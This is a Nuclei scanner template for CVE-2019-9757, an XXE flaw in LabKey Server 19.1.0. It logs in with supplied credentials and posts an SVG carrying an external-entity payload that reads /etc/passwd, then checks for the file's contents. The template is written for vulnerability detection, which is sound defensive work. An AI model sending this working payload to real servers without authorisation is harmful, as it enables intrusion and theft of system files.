id: CVE-2019-9757

info:
  name: LabKey Server 19.1.0 - XML External Entity (XXE)
  author: ritikchaddha
  severity: high
  description: |
    An issue was discovered in LabKey Server 19.1.0. Sending an SVG containing an XXE payload to the endpoint visualization-exportImage.view or visualization-exportPDF.view allows local files to be read.
  reference:
    - https://rhinosecuritylabs.com/application-security/labkey-server-vulnerabilities-to-rce/
    - https://github.com/LabKey/Issues/issues/37636
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9757
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9757
    cwe-id: CWE-611
    epss-score: 0.73668
    epss-percentile: 0.98672
    cpe: cpe:2.3:a:labkey:labkey_server:19.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: labkey
    product: labkey_server
    shodan-query: title:"LabKey"
    fofa-query: title="LabKey"
  tags: cve,cve2019,labkey,xxe,authenticated

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /labkey/home/project-begin.view HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - '"X\-LABKEY\-CSRF":"([0-9a-z]+)"'
        internal: true

  - raw:
      - |
        POST /home/login-loginApi.api HTTP/1.1
        Host: {{Hostname}}
        X-LABKEY-CSRF: {{csrf}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        remember=on&email={{username}}&password={{password}}&approvedTermsOfUse=false

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!status_code == 400'
        condition: and

  - raw:
      - |
        POST /labkey/home/visualization-exportPDF.view HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150

        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="X-LABKEY-CSRF"

        {{csrf}}
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="svg"

        <?xml version="1.0" standalone="yes"?>
        <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
        <svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg">
        <text x="0" y="15" fill="red">&xxe;</text>
        </svg>
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="title"

        test
        -----------------------------735323031399963166993862150--

    matchers:
      - type: dsl
        dsl:
          - 'regex("root:.*:0:0:", body)'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100c36f8fb88efdc1e812dbd3ac439e0d612b2ae473c8b8d78ceac454f1ab4cfa7a022025cb972706a6f00573e5dcafb50c4a566551d73d3b316b32f12737355aa6894a:922c64590222798bb761d5b6d8e72950